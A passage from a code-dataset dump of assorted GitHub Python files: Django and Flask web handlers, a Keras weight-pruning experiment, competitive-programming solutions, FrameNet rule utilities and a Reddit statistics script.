If the path is login or has anything to do with authentication, pass\n pass\n else:\n return redirect(reverse('login_page'))\n","repo_name":"osbart1999/sasufr","sub_path":"main_app/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3493248095","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\n# TensorFlow and tf.keras\nimport tensorflow as tf\nfrom tensorflow import keras\n\n# Helper libraries\nimport numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\n\nimport time\n\ntest_length = 10000\n\n# Saving Checkpoints while training\nimport os\ncheckpoint_path = \"training_1/cp-{epoch:04d}.ckpt\"\ncheckpoint_dir = os.path.dirname(checkpoint_path)\ncp_callback = tf.keras.callbacks.ModelCheckpoint(checkpoint_path, save_weights_only=True, verbose=1)\n\n\n\n# print(tf.__version__)\n\nfashion_mnist = keras.datasets.fashion_mnist\n\n(train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()\n\nclass_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',\n 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\n\n\n\n# Shows how and Image is broken down\n# plt.figure()\n# plt.imshow(train_images[0])\n# plt.colorbar()\n# plt.grid(False)\n# plt.show()\n\ntrain_images = train_images / 255.0\n\ntest_images = test_images / 255.0\n\n# Shows some sample Images and Lables\n# plt.figure(figsize=(10,10))\n# for i in range(25):\n# plt.subplot(5,5,i+1)\n# plt.xticks([])\n# plt.yticks([])\n# plt.grid(False)\n# plt.imshow(train_images[i], cmap=plt.cm.binary)\n# plt.xlabel(class_names[train_labels[i]])\n# plt.show()\n\n# Build Model\n\n# Load Model\nmodel= keras.models.load_model('model.h5')\n\"\"\"\n\nmodel = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(128, activation=tf.nn.relu),\n keras.layers.Dense(10, activation=tf.nn.softmax)\n])\n\nmodel.compile(optimizer='adam',\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n\nmodel.fit(train_images, train_labels, epochs=5, callbacks = [cp_callback])\n\ntest_loss, test_acc = model.evaluate(test_images, test_labels)\n\nprint('Test accuracy:', test_acc)\n\n# Save Weights\n# model.save_weights('weights.h5')\n# model.load_weights()\n\n# Save Entire Model\nmodel.save('model.h5')\n\"\"\"\n# modelNew = keras.models.load_model('model.h5')\n\nimgs = test_images\nlabels = test_labels\n\n\n#-------------------------------------------------------------------------------#\n\ndef top_k_accuracy(y_true, y_pred, k=1):\n argsorted_y = np.argsort(y_pred)[:,-k:]\n return np.any(argsorted_y.T == y_true, axis=0).mean()\n\n#-------------------------------------------------------------------------------#\n\nglobal_pred = model.predict(imgs[:test_length], verbose = 1)\nglobal_acc1 = top_k_accuracy(labels[:test_length], global_pred,1)\nglobal_acc5 = top_k_accuracy(labels[:test_length], global_pred,5)\n\nprint(global_acc1)\nprint(global_acc5)\n\nchanged = 0\ntrueSparse = 0\n\nval = .25\nnegval = val * -1\n\n\n# managing weights\nmodel.summary()\nrowcount = 0;\n\nq = 0\nfor layer in model.layers:\n\n\tweights = layer.get_weights()\n\tweights = np.array(weights)\n\n\tfor x in range(len(weights)):\n\n\t\tprint(\"----------------BREAK----------------\")\n\t\tshape = weights[x].shape\n\t\tsize = weights[x].size\n\t\tlength = len(shape)\n\n\t\tif length == 0:\n\t\t\tcontinue\n\n\t\tif length == 1:\n\t\t\tfor i in range(shape[0]):\n\n\t\t\t\tif weights[x][i] < val and weights[x][i] > negval:\n\t\t\t\t\tweights[x][i] = 0\n\t\t\t\t\tchanged = changed + 1\n\n\t\t\t\telif weights[x][i] == 0 :\n\t\t\t\t\tchanged = changed + 1\n\t\t\t\t\ttrueSparse = trueSparse + 1\n\n\n\t\t\tlayer.set_weights(weights)\n\t\t\n\n\t\tif length == 2:\n\t\t\tfor i in range(shape[0]):\n\t\t\t\tfor y in range(shape[1]):\n\t\t\t\t\t\n\t\t\t\t\tif weights[x][i][y] < val and weights[x][i][y] > negval:\n\t\t\t\t\t\tweights[x][i][y] = 0\n\t\t\t\t\t\tchanged = changed + 1\n\n\t\t\t\t\telif weights[x][i][y] == 0 :\n\t\t\t\t\t\tchanged = changed + 1\n\t\t\t\t\t\ttrueSparse = trueSparse + 1\n\n\n\t\t\tlayer.set_weights(weights)\n\n\n\t\tif length == 3:\n\t\t\tfor i in range(shape[0]):\n\t\t\t\tfor y in range(shape[1]):\n\t\t\t\t\tfor j in range(shape[2]):\n\t\t\t\t\t\tif weights[x][i][y][j] < val and weights[x][i][y][j] > negval:\n\t\t\t\t\t\t\tweights[x][i][y][j] = 0\n\t\t\t\t\t\t\tchanged = changed + 1\n\n\t\t\t\t\t\telif weights[x][i][y][j] == 0 :\n\t\t\t\t\t\t\tchanged = changed + 1\n\t\t\t\t\t\t\ttrueSparse = trueSparse + 1\n\n\t\t\tlayer.set_weights(weights)\n\n\t\tif length == 4:\n\t\t\tfor i in range(shape[0]):\n\t\t\t\tfor y in range(shape[1]):\n\t\t\t\t\tfor j in range(shape[2]):\n\t\t\t\t\t\tfor z in range(shape[3]):\n\t\t\t\t\t\t\tif weights[x][i][y][j][z] < val and weights[x][i][y][j][z] > negval:\n\t\t\t\t\t\t\t\tweights[x][i][y][j][z] = 0\n\t\t\t\t\t\t\t\tchanged = changed + 1\n\n\t\t\t\t\t\t\telif weights[x][i][y][j][z] == 0 :\n\t\t\t\t\t\t\t\tchanged = changed + 1\n\t\t\t\t\t\t\t\ttrueSparse = trueSparse + 1\n\n\t\t\tlayer.set_weights(weights)\n\n\t\tif length > 4:\n\t\t\tprint(\"Dimension > 4\")\n\t\t\tsys.exit()\n\n\nmodel.save('sparse.h5')\n\nglobal_pred = model.predict(imgs[:test_length], verbose = 1)\n\nglobal_acc1 = top_k_accuracy(labels[:test_length], global_pred,1)\nglobal_acc5 = top_k_accuracy(labels[:test_length], global_pred,5)\n\nprint(global_acc1)\nprint(global_acc5)\nprint(trueSparse)\nprint(changed)","repo_name":"Jponader/Nueral-Network-Error-Recovery-Research","sub_path":"Testing Networks/SmallFashionMNST/sparse.py","file_name":"sparse.py","file_ext":"py","file_size_in_byte":4785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35513359126","text":"def postorder(node):\n if node>N or lst[node] != 0:\n return\n\n left = node*2\n right=node*2+1\n postorder(left)\n postorder(right)\n lst[node]=lst[left]+lst[right]\n\n\nT = int(input())\nfor tc in range(1,1+T):\n N,M,L = map(int,input().split()) #노드 개수 리프노드의 개수 값을 출력할 노드\n leaf = [list(map(int,input().split())) for _ in range(M)]\n lst = [0]*(N+2) #양쪽 자식\n for i in range(M):\n lst[leaf[i][0]] = leaf[i][1]\n\n postorder(1)\n print(f'#{tc} {lst[L]}')\n","repo_name":"gusdud2068/algorithm","sub_path":"알고리즘/pratice2.py","file_name":"pratice2.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71232914003","text":"def reset(prev, user, passwd):\n import pickle as p\n f = open('entries.dat','rb+')\n record = {}\n try:\n while True:\n pos = f.tell()\n record = p.load(f)\n if record['user'] == prev:\n record['user'] = user\n record['password'] = passwd\n f.seek(pos)\n p.dump(record, f)\n except EOFError:\n f.close()\n\ndef delete(user):\n import pickle as p\n lst = []\n with open('entries.dat', 'rb') as file:\n try:\n while True:\n content = p.load(file)\n lst.append(content)\n except:\n file.close()\n with open('entries.dat', 'ab') as file:\n found = False\n for content in lst:\n if content['user'] != user:\n continue\n else:\n found = True\n break\n if found == False:\n text = \" not found\"\n else:\n with open('entries.dat', 'wb') as f:\n for line in lst:\n if line['user'] != user:\n p.dump(line, f)\n else:\n text = \" deleted successfully\"\n file.close()\n return text\n","repo_name":"AdvaySanketi/Sinveti","sub_path":"Core/datam.py","file_name":"datam.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5815560156","text":"import logging\nimport json\nimport ast\n\nfrom django.core.files.storage import FileSystemStorage\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import AllowAny\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse\n\nfrom AmbassadorPortal.models import people\nfrom AmbassadorPortal.view.portal_utils import get_locality_from_name\n\nlogger = logging.getLogger('django')\n\n\n@api_view(['POST'])\n@permission_classes((AllowAny,))\ndef view_add_person(request):\n response = {\"Status\": 0}\n body = None\n\n try:\n # body_unicode = request.body.decode('utf-8')\n # body = ast.literal_eval(body_unicode)\n\n body= request.POST\n full_name = body.get('fullName')\n dob = body.get('dob')\n email = body.get('email')\n mobile_number = body.get('mobileNumber')\n gender = body.get('gender')\n marital_status = body.get('maritalStatus')\n life_partner_id = body.get('lifePartnerId')\n education_key = body.get('educationLevel')\n education_details = body.get('educationDetails')\n locality_key = body.get('localityKey')\n home_address = body.get('homeAddress')\n father_id = body.get('fatherId')\n mother_id = body.get('motherId')\n alive_flag= body.get('aliveFlag')\n profession= body.get('profession')\n profile_name = body.get('profileName')\n\n file= request.FILES['profileFile']\n if(file.size > 10):\n fs = FileSystemStorage() # defaults to MEDIA_ROOT\n filename = fs.save(profile_name, file)\n profile_url = fs.url(filename)\n else:\n profile_url=\"/BeingMomin/media/images/profiles/default_profile.jpg\"\n\n\n\n people_obj = people(name=full_name, mobile= mobile_number,dob=dob, email=email, gender=gender,marital_status=marital_status,\n life_partner_id=life_partner_id,education_key=education_key, education_details=education_details,profile_pic = profile_url,\n locality=get_locality_from_name(locality_key),father_id=father_id,mother_id=mother_id,alive_flag=alive_flag, profession=profession)\n\n people_obj.save()\n\n\n except Exception as e:\n response = {\"Status\": 1}\n logger.error(\"Body of Request is'{0}' and Exception is '{1}'\".format(body, e), exc_info=True)\n\n return HttpResponse(json.dumps(response), content_type='application/json')\n","repo_name":"catchsattar/BeingMomin","sub_path":"AmbassadorPortal/view/view_add_person.py","file_name":"view_add_person.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6657535374","text":"with open(\"currency.txt\",\"r\") as f:\r\n lines=f.readlines()\r\n \r\ndict={} \r\nfor line in lines:\r\n lines2 =line.split(\"\\t\") \r\n dict[lines2[0]]=lines2[1]\r\namount=int(input(\"enter the amount: \"))\r\nprint(\"choose the currency you want to check: \")\r\n\r\n[print(i+1,\".\",item) for i, item in enumerate(dict.keys()) ]\r\n \r\ncurrency=input(\"enter one of these:\")\r\nprint(f\"{currency} of your {amount}INR is {amount * float(dict[currency])}\") \r\n ","repo_name":"sameer0013/SomefunPrograms","sub_path":"CurrencyConvertor/currency convertor.py","file_name":"currency convertor.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21489643916","text":"from flask import Blueprint, request\n\nfrom mock_engine import Engine\nfrom model import *\nfrom utils.jwt_util import get_identity\n\ncourse = Blueprint('course', __name__)\n\nengine = Engine()\n\n\n@course.route('/api/race/list', methods=['GET'])\ndef get_race_list():\n res = engine.find(Race)\n return {'code': 200, 'msg': 'success', 'count': len(res), 'data': [d.model_dump() for d in res]}\n\n\n@course.route('/api/race/add', methods=['POST'])\ndef add_race():\n obj = Race(**request.get_json())\n engine.create(Race, obj)\n return {'code': 200, 'msg': 'success'}\n\n\n@course.route('/api/race/delete', methods=['DELETE'])\ndef delete_race():\n d = request.get_json()\n for oid in d:\n engine.delete(Race, oid)\n return {'code': 200, 'msg': 'success'}\n\n\n@course.route('/api/race/update', methods=['PUT'])\ndef update_race():\n obj = Race(**request.get_json())\n engine.update(Race, obj)\n return {'code': 200, 'msg': 'success'}\n\n\n@course.route('/api/course/list', methods=['GET'])\ndef get_course_list():\n identity, account, role, _ = get_identity(request.cookies)\n race_id = request.args.get('race_id') # ?race_id=1\n query = {}\n if race_id:\n query['race_id'] = race_id\n\n if role.label != 'admin':\n if identity == 'student':\n query['sids'] = account\n if identity == 'teacher':\n query['tid'] = account\n res = engine.find(Course, query)\n return {'code': 200, 'msg': 'success', 'count': len(res), 'data': [d.model_dump() for d in res]}\n\n\n@course.route('/api/course', methods=['GET'])\ndef get_course_detail():\n course_id = request.args.get('course_id') # ?course_id=1\n obj = engine.find_by_id(Course, int(course_id))\n res = obj.model_dump()\n res['students'] = [engine.find_by_id(Student, sid).model_dump() for sid in res['sids']]\n res['teacher'] = engine.find_by_id(Teacher, res['tid']).model_dump()\n return res\n\n\n@course.route('/api/course/add', methods=['POST'])\ndef add_course():\n obj = Course(**request.get_json())\n engine.create(Course, obj)\n return {'code': 200, 'msg': 'success'}\n\n\n@course.route('/api/course/delete', methods=['DELETE'])\ndef delete_course():\n d = request.get_json()\n for oid in d:\n engine.delete(Course, oid)\n return {'code': 200, 'msg': 'success'}\n\n\n@course.route('/api/course/update', methods=['PUT'])\ndef update_course():\n obj = Course(**request.get_json())\n engine.update(Course, obj)\n return {'code': 200, 'msg': 'success'}\n","repo_name":"me4ldr/hackathon_python","sub_path":"services/course.py","file_name":"course.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36323086706","text":"from django import template\nfrom config.settings import LANGUAGE_CODE\n\nregister = template.Library()\n\n@register.filter(name='e2f')\ndef english_numbers_convertor(number):\n\n triple = (len(str(number)) - 1) // 3\n f_number_list = list(str(number))\n jobran = 0\n if LANGUAGE_CODE ==('fa' or 'fa-ir'):\n # persian_num = {\n # \"0\": \"۰\",\n # \"1\": \"۱\",\n # \"2\": \"۲\",\n # \"3\": \"۳\",\n # \"4\": \"۴\",\n # \"5\": \"۵\",\n # \"6\": \"۶\",\n # \"7\": \"۷\",\n # \"8\": \"۸\",\n # \"9\": \"۹\",\n # }\n # for e, p in persian_num.items():\n # # global f_number\n # number = str(number).replace(e, p)\n #\n #\n # f_number_list = list(str(number))\n arabic = '۰۱۲۳۴۵۶۷۸۹'\n english = '0123456789'\n\n translation_table = str.maketrans(english, arabic)\n number = str(number).translate(translation_table)\n return number\n\n\n # for i in range(triple):\n # f_number_list.insert(-((i+1)*3) + jobran, ',')\n # jobran -= 1\n #\n # number_splited = ''\n # for j, index in enumerate(f_number_list):\n # number_splited += f_number_list[j]\n #\n # return number_splited\n\n\n\n@register.filter\ndef active_comment(comment):\n return comment.filter(active=True)\n\n@register.filter(name='len')\ndef the_len(value):\n return value.len()","repo_name":"arminam3/online-shop","sub_path":"products/templatetags/my_tags.py","file_name":"my_tags.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41301655481","text":"# N = int(input())\n\n# inputs = [input().split(\" \") for _ in range(N)] \n\n\n# for input in inputs:\n# # print(input)\n# A = int(input[0])\n# B = int(input[1])\n# C = int(input[2])\n# D = int(input[3])\n# FLAG = True\n# asa = A\n# count = 0\n# start_roop = 0\n# while FLAG:\n# yoru = asa - B\n# # print(\"yoru : {}. start_roop : {}\".format(yoru, start_roop))\n\n\n\n# if yoru != start_roop:\n# if yoru < 0:\n# print(\"No\")\n# FLAG = False\n# break\n# elif yoru <= C:\n# count += 1\n# yoru += D\n# start_roop = yoru\n# if count > 100:\n# print(\"Yes\")\n# break\n# elif yoru > C:\n# else:\n# print(\"Yes\")\n\n# if \n\nimport fractions\n\ndef judge(A, B, C, D):\n if A < B: # 買えない\n return False\n if D < B: # 補充が間に合わないのでいつか無くなる\n return False\n if B <= C: # 補充間に合う状況で、必ず0個以上の在庫がある\n return True\n G = fractions.gcd(B, D)\n R = A % G\n if (C + G - R - B) < 0: # C + G - R = 在庫の最小数\n return False\n else:\n return True\n\nT = int(input())\ndata = []\nfor _ in range(T):\n data.append(int(xi) for xi in input().split())\nfor A, B, C, D in data:\n print(\"Yes\") if judge(A, B, C, D) else print(\"No\")\n\n\n","repo_name":"UdonDa/atcoder","sub_path":"abc/7_14/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25654229286","text":"\"\"\"\nThis file holds classes that facilitate rule manipulation\n\"\"\"\nfrom os import listdir, path, makedirs\n\nimport logging\n\nimport numpy as np\nimport spacy\nfrom copy import deepcopy as copy\nfrom regex import compile\nfrom tempfile import NamedTemporaryFile\nfrom typing import Dict, Set, Iterable, List\n\nfrom srl_nlp.framenet import description\nfrom srl_nlp.logical_representation.fol import FOL\nfrom srl_nlp.logical_representation.logicalform import LF\nimport sys\n\nif sys.version_info[0] > 2:\n from configparser import ConfigParser\nelse:\n from ConfigParser import ConfigParser\n\nlogger = logging.getLogger(__name__)\n\n\n############################\n\n# Utils #\n\n############################\n\ndef not_none_to_str(obj):\n if obj is not None:\n return str(obj)\n return obj\n\n\ndef replace_all(lf, old_term, new_term):\n \"\"\"\n\n Args:\n lf: Lf to be modified in-place\n old_term: the term to be replaced in all predicates\n new_term: the term to substitute the old_term in all the predicates of the lf\n\n Returns:\n Nothing. This method changes the lf in-place\n \"\"\"\n frontier = [lf.info] # type: List\n while len(frontier):\n curr = frontier.pop()\n pred = curr[0]\n if pred == old_term:\n curr[0] = new_term\n frontier.extend(curr[1:])\n\n\n# FIXME\ndef remove_eq(lf, eq_term):\n \"\"\"\n Remove the equality predicates and traverses the lf to bind all the constants that should be equal.\n The eq_term predicate must be binary, and the second term of it will be replaced by the first one in every\n predicate in the lf. When there are multiple eq_term predicates the final result might not be easy to predict but\n it is going to be correct.\n\n Args:\n lf: LF to have its eq predicates removed and the constants matched\n eq_term: equality predicate\n\n Returns:\n Nothing. This method changes the lf in-place\n \"\"\"\n frontier = [lf.info] # type: List\n while len(frontier):\n curr = frontier.pop()\n terms = curr[1:]\n pred = curr[0]\n if pred == eq_term:\n old_term = terms[1][0]\n new_term = terms[0][0]\n replace_all(lf, old_term, new_term)\n frontier.extend(curr[1:])\n frontier = [lf.info]\n while len(frontier):\n curr = frontier.pop()\n curr[:] = [curr[0]] + [child for child in curr[1:] if child[0] != eq_term]\n frontier.extend(curr[1:])\n\n\ndef _additive_dict_update(d1, d2):\n \"\"\"\n Extends all values in d1 that match keys with values in d2\n Args:\n d1: dictionary whose items are lists\n d2: dictionary whose items are iterables\n\n Returns:\n Nothing, the change is do inplace in d1\n\n \"\"\"\n for key in d2:\n val = d1.get(key, [])\n val.extend(d2[key])\n d1[key] = val\n\n\n############################\n\n# Get Deep Role Rules #\n\n############################\n\n\ndef get_examples(target, fn):\n \"\"\"\n Iterates over the fn frames that contain target as a Frame element and\n returns every description element with the tag EXample\n\n Returns: list of (example, Frame) pairs\n \"\"\"\n frames = fn.get_frame_element_frames(target)\n examples = []\n for frame in frames:\n fes = filter(lambda x: x == target, frame.coreFEs + frame.peripheralFEs)\n for fe in fes:\n examples.append((fe.definition.get_elements('ex'), frame))\n return examples\n\n\ndef get_preds(lf, token, skip=('relation',)):\n \"\"\"\n Returns: a list of predicates that contain the token\n \"\"\"\n out = set()\n if not lf.get_pred() in skip:\n for term in lf.iterterms():\n if term.get_pred() == token:\n out.add(lf)\n else:\n out.update(get_preds(term, token))\n return out\n\n\ndef get_tokens_index(lf, tokenized, skip=('relation',)):\n \"\"\"\n\n Parameters:\n lf:\n tokenized: list of strings\n skip: list of strings with the predicates to ignore\n\n Returns:\n A dictionary of the form {term : [(i, token),...]},\n where term is a term of the lf and (i, tokens) are tuples\n with the index and tokens related to the predicate\n \"\"\"\n out = {}\n for i, token in enumerate(tokenized):\n if not lf.get_pred() in skip:\n for term in lf.iterterms():\n if term.get_pred() == token:\n _additive_dict_update(out, {term: [(i, token)]})\n else:\n _additive_dict_update(out, get_tokens_index(lf, tokenized))\n return out\n\n\ndef get_abbrev(frame, lower_case=True):\n \"\"\"\n Args:\n frame: A Frame from a FrameNet object\n lower_case: boolean value. If true, it converts the frame abbreviation to lower case\n\n Returns:\n A dictionary mapping abbreviation to Frame Element name\n\n \"\"\"\n out = dict()\n for fe in frame.coreFEs + frame.peripheralFEs:\n if len(fe.abbrev) > 0:\n if lower_case:\n out[fe.abbrev.lower()] = fe.name\n else:\n out[fe.abbrev] = fe.name\n return out\n\n\ndef get_annotations(example, lf, abbrev2fe=None, get_lemma=None):\n \"\"\"\n This function matches the example annotations against the given lf\n (the lf must represent the example for this to make any sense)\n\n Args:\n example:\n lf: a lf representation of the example\n abbrev2fe: dict of abbreviations to frame element names\n get_lemma: function that returns the lemma of a given token\n\n Returns:\n A tuple (fes_dict, taget_list), where\n fes_dict is a dictionary mapping Frame Element names to a predicate list\n target_list is a list of predicates that are target in this example\n \"\"\"\n # TODO check if it works okay when we have the same instance of predicates (conjunctions)\n if abbrev2fe is None:\n abbrev2fe = dict()\n fes = dict() # type: Dict\n target = []\n if get_lemma is None:\n nlp = spacy.load('en_core_web_sm')\n\n def get_lemma(token_str):\n return nlp(token_str.decode('utf-8'))[0].lemma_.encode('utf-8')\n\n for term in example.content:\n pred_stack = []\n logger.debug(\"Example %s\" % example)\n while isinstance(term, description.FEeXample) or \\\n isinstance(term, description.Target) or \\\n isinstance(term, description.T):\n if len(term.content) == 0:\n logger.warning(\"Term {} is empty in example {}\".format(str(term), str(example)))\n break\n else:\n pred_stack.append(term.attribs.get('name', term.name))\n term = term.content[0]\n logger.debug(\"TERM stack %s\" % pred_stack)\n if len(pred_stack) > 0:\n for token in term.strip().split(' '):\n try:\n if len(token) < 1:\n continue\n literals = get_preds(lf, get_lemma(token))\n except IndexError as e:\n logger.debug(\"Term: '%s'\" % term)\n raise e\n for literal in literals:\n for pred in pred_stack:\n pred = abbrev2fe.get(pred.lower(), pred)\n if pred == 'target' or pred == 't':\n target.append(literal)\n elif pred == 'fex':\n logger.error('Fex without attrib name')\n else:\n temp_list = fes.get(pred, [])\n temp_list.append(literal)\n fes[pred] = temp_list\n return fes, target\n\n\ndef get_factors(lf, out=None):\n \"\"\"\n Returns a mapping from the terms to predicate lists\n \"\"\"\n if out is None:\n out = {}\n if FOL.is_operator(lf.get_pred()):\n for term in lf.iterterms():\n get_factors(term, out)\n else:\n for term in lf.iterterms():\n preds = out.get(term.get_pred(), [])\n preds.append(lf)\n out[term.get_pred()] = preds\n return out\n\n\ndef get_paths(pred_l, pred_r, factors, breadth=True):\n # type: (object, object, Dict[str,Set[LF]], bool) -> Iterable[List[LF]]\n \"\"\"\n Given two predicates in LF, and a mapping of their literals given\n by 'get_factors' this function yields the paths that can link\n those predicates.\n \"\"\"\n frontier = [(pred_r, [])] # type: List\n visited = []\n while len(frontier):\n if breadth:\n curr_pred, path = frontier.pop(0)\n else:\n curr_pred, path = frontier.pop()\n if pred_l == curr_pred:\n yield path\n visited.append(curr_pred)\n for literal in curr_pred.iterterms():\n for term in set(factors.get(literal.get_pred(), [])):\n if term not in visited:\n frontier.append((term, path + [term]))\n\n\ndef make_pred(literal, pred, *terms):\n \"\"\"\n Returns a new LF predicate from the original pred, the literal and a label.\n Only the first term of pred is used in the final predicate\n \"\"\"\n t = pred.iterterms().next()\n terms = map(lambda x: x if isinstance(x, list) else [x], terms)\n out = LF()\n out.info = [literal] + [t.info] + terms\n return out\n\n\ndef str_preds(preds, pattern=compile('^c(\\d+)$'), x=('frame_element', 'frame_related',\n 'relation'), count=None):\n \"\"\"\n Converts a LF or a list of LFs into a string in a convenient way to be rendered in a rule\n LF -> str\n [LF] -> str\n \"\"\"\n if not count:\n count = [0]\n\n def repl_const(match, idx=count):\n idx[0] = max(idx[0], int(match.group(1)))\n return 'C' + match.group(1)\n\n def new_const(idx=count):\n idx[0] = idx[0] + 1\n return 'C%d' % idx[0]\n\n generalize = []\n if isinstance(preds, LF):\n pred = copy(preds)\n for literal in pred.iterterms():\n if literal.isleaf():\n logger.debug(\"PRED::%s: update:%s\" % (pred.get_pred(), not pred.get_pred() in x))\n if pattern.match(literal.get_pred()):\n literal.set_pred(pattern.sub(repl_const, literal.get_pred()))\n elif not pred.get_pred() in x:\n generalize.append(literal)\n for literal in generalize:\n literal.set_pred(new_const())\n return pred.__repr__(final_dot=False)\n else:\n return ','.join(map(lambda p: str_preds(p, pattern, x, count), preds))\n\n\ndef open_a_file(name=None, mode='wr'):\n \"\"\"Opens the file, if no name is given, opens a NamedTemporaryFile\"\"\"\n if name is not None:\n return open(name, mode)\n else:\n return NamedTemporaryFile(mode=mode)\n\n\ndef list_doc_files(folder_path):\n \"\"\"\n Returns list of basenames of the files that have the appropriate format to be a document.\n Args:\n folder_path: string with the folder path where the documents files are stored\n Returns:\n List of strings.\n \"\"\"\n return [f for f in listdir(folder_path)\n if f.lower().endswith('.xml') or f.lower().endswith('.json')]\n\n\ndef get_chunks(elems, num_chunks):\n size = len(elems)\n step = int(np.floor(size / num_chunks))\n extra = size % num_chunks\n # Evenly distribute the number of elements in the chunks and keep ordering\n chunk_lens = [step + 1 if i < extra else step for i in range(num_chunks)]\n elems_iterator = elems.__iter__()\n for chunk_len in chunk_lens:\n yield [elems_iterator.next() for _ in range(chunk_len)]\n\n\ndef ensure_dir(dir_name):\n \"\"\"\n Makes dir if there is no dir\n\n Returns if dir existed before this command\n \"\"\"\n if not path.exists(dir_name):\n makedirs(dir_name)\n return False\n return True","repo_name":"MeLLL-UFF/srl-nlp","sub_path":"srl_nlp/rule_utils.py","file_name":"rule_utils.py","file_ext":"py","file_size_in_byte":11851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8962782056","text":"'''\nCreated on 2018-03-06\n@author: jjccforth\n'''\nimport pickle\n#from generalbot.generalbot.items import * #Normal run\nfrom generalbot.items import * #run under generalbot\nfrom dateutil import parser as dparser\nimport pandas as pd\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom misc.dbcreate import Topic, RedditInfo, Base\n\ndef calculate( itemlist):\n comno_list = []\n crtdt_list = []\n for item in itemlist:\n if isinstance(item, GeneralbotItem):\n comments_no = 0\n comments = item['comments']\n created_at = item['created_at']\n title = item['title']\n comments = comments.split(' ')\n if len(comments) == 2:\n comno_list.append( int ( comments[0]))\n else:\n comno_list.append(0)\n\n #date time\n create_dt = parser.parse(created_at)\n crtdt_list.append(create_dt)\n\n if isinstance(item, RedditItem):\n pass\n\n return\n\ndef calculate0(list):\n metainfo = None\n# count = 0\n# if len(list) > 25:\n# print(\"Stop here\")\n for d in list:\n# if count == 25:\n# print(\"stop here\")\n if not 'created_at' in d.keys():\n metainfo = d\n list.remove(d)\n continue\n d['created_at'] = dparser.parse(d['created_at'])\n vote = 0 if d['vote'] == u'\\u2022' else d['vote']\n # print vote ,d['created_at']\n# count += 1\n list0 = list\n# for l in list:\n# if isinstance(l['created_at'], str):\n# print(\"stop here\")\n list_s = list.sort(key=lambda item: item['created_at'], reverse=True)\n count = 0\n dt_deltas = [0] #date delta list\n votes = [] #vote list\n comments = [] #comment list\n dt_prev = None\n sec_in_hour = 3600\n\n sum_delta = 0\n sum_comments = 0\n for d in list: # it's sorted by the \".sort\" method\n if count > 0:\n dt_delta = dt_prev - d['created_at']\n delta_as_day = dt_delta.total_seconds() / sec_in_hour # sec_in_day\n dt_deltas.append(delta_as_day)\n sum_delta += delta_as_day\n\n dt_prev = d['created_at']\n comments_no = d['comments'].split(' ')[0]\n if comments_no == \"comment\":\n comments_no = 0\n vote = d['vote'] if d['vote'] != u'\\u2022' else 0 # \".\"\n vote_as_num = int(vote)\n votes.append(vote_as_num)\n # print vote ,d['created_at'],comments_no,dt_deltas[count]\n count += 1\n # get stats\n sum_comments += int(comments_no)\n comments.append(int(comments_no))\n\n # print \"stats:total delta:%d, total comments:%d,count:%d\"%(sum_delta,sum_comments,count)\n\n meta = [metainfo[k] for k in metainfo]\n # print \"meta:%s\"%\".\".join(meta)\n # dtdelta = dt2 - dt1\n # dtdelta.total_seconds()\n return (sum_delta, sum_comments, count, meta[1], meta[0],dt_deltas,comments,votes,meta)\n\n\nif __name__ == '__main__':\n\n engine = create_engine('sqlite:///bigdata.db')\n # Bind the engine to the metadata of the Base class so that the\n # declaratives can be accessed through a DBSession instance\n Base.metadata.bind = engine\n DBSession = sessionmaker(bind=engine)\n session = DBSession()\n\n data = pickle.load(open(\"datan.pkl\", \"rb\"))\n for k, list in data.items():\n reddit = RedditInfo(url=k)\n\n print (\"############%s\" % k)\n metrices = calculate0(list)\n print (\"total delta:%d, total comments:%d,count:%d, online:%s,subscribers:%s\\n\" % (metrices[0:5]))\n reddit.online = metrices[3]\n reddit.subscribers = metrices[4]\n\n timinginfo = metrices[5]\n commentinfo = metrices[6]\n voteinfo = metrices[7]\n print (\"better data\")\n info = [timinginfo, commentinfo,voteinfo]\n strinfo = ['timing','comment','vote']\n count = 0\n for i in info:\n df = pd.DataFrame(i)\n print (strinfo[count])\n print (\"count:%d,mean:%f, std:%f\"%(df.count(),df.mean(),df.std()))\n if( count == 0):\n reddit.timedelta_mean = df.mean()\n reddit.timedelta_std = df.std()\n if (count == 1):\n reddit.comment_mean = df.mean()\n reddit.comment_std = df.std()\n if (count == 2):\n reddit.vote_mean = df.mean()\n reddit.vote_std = df.std()\n count += 1\n\n session.add(reddit)\n session.commit()\n #df.mean()\n #df.std()]\n #etc\n # 